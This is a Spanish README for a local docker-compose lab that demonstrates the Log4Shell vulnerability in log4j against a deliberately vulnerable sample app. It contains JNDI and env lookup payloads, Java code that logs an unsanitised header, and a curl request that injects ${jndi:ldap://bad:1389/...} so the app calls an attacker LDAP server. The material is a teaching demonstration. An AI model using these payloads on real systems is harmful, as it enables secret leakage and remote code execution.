
Configuración de ejemplo de docker-compose para mostrar cómo funciona este exploit
Este repositorio contiene una muestra funcional del abuso del reciente exploit de log4j. No realiza una ejecución remota de código real, pero te muestra la facilidad con la que un actor malintencionado puede hacer que una aplicación vulnerable llame a su propio servidor ldap.
Esto usa la excelente aplicación vulnerable de ejemplo de log4j creada por christophetd: https://github.com/christophetd/log4shell-vulnerable-app
Esta vulnerabilidad abusa de la funcionalidad lookup de log4j, especialmente de jndi, que permite a log4j realizar búsquedas desde hosts externos para obtener datos a introducir. Esto puede explotarse para hacer cualquier cosa, desde registrar variables sensibles del entorno hasta ejecutar código de forma remota.
Las búsquedas se realizan para cualquier texto envuelto en ${} cuando se llama al logger. Por ejemplo,
${jndi:ldap://someldapserver:1389/o=example}
haría una búsqueda en ese servidor LDAP con la consulta dada y mostraría el resultado.
Un ejemplo más simple que no hace uso de jndi, pero que sigue siendo peligroso:
${env:PASSWORD}
Esto imprimiría el contenido de esa variable de entorno en los registros. Alguien con acceso para ver esos registros podría extraer datos sensibles de la aplicación.
El código en log4j para abusar de este exploit es bastante sencillo. Solo necesitas llamar al logger para registrar una propiedad de la solicitud sin sanitizar. Por ejemplo, podrías registrar el contenido de un User-Agent.
...
@GetMapping("/bad")
public void Bad(@RequestHeader("User-Agent") String userAgent) {
logger.info("Received User-Agent header " + userAgent);
}
Primero, construye el servidor ldap local:
docker build -t ldapnode .
Una vez construido, levanta todo el stack ejecutando
docker-compose up
Luego, puedes realizar una solicitud a la aplicación, usando la cabecera x-api-version para inyectar la búsqueda
curl --request GET \
--url http://localhost:8080/ \
--header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'
Usando esa solicitud, verás en los registros de docker-compose que el servidor ldap ha sido llamado:
bad_1 | ldap server has been called!
log4j_1 | 2021-12-14 02:43:11.657 INFO 1 --- [nio-8080-exec-2] HelloWorld : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c
Consulta esta documentación para las vías de resolución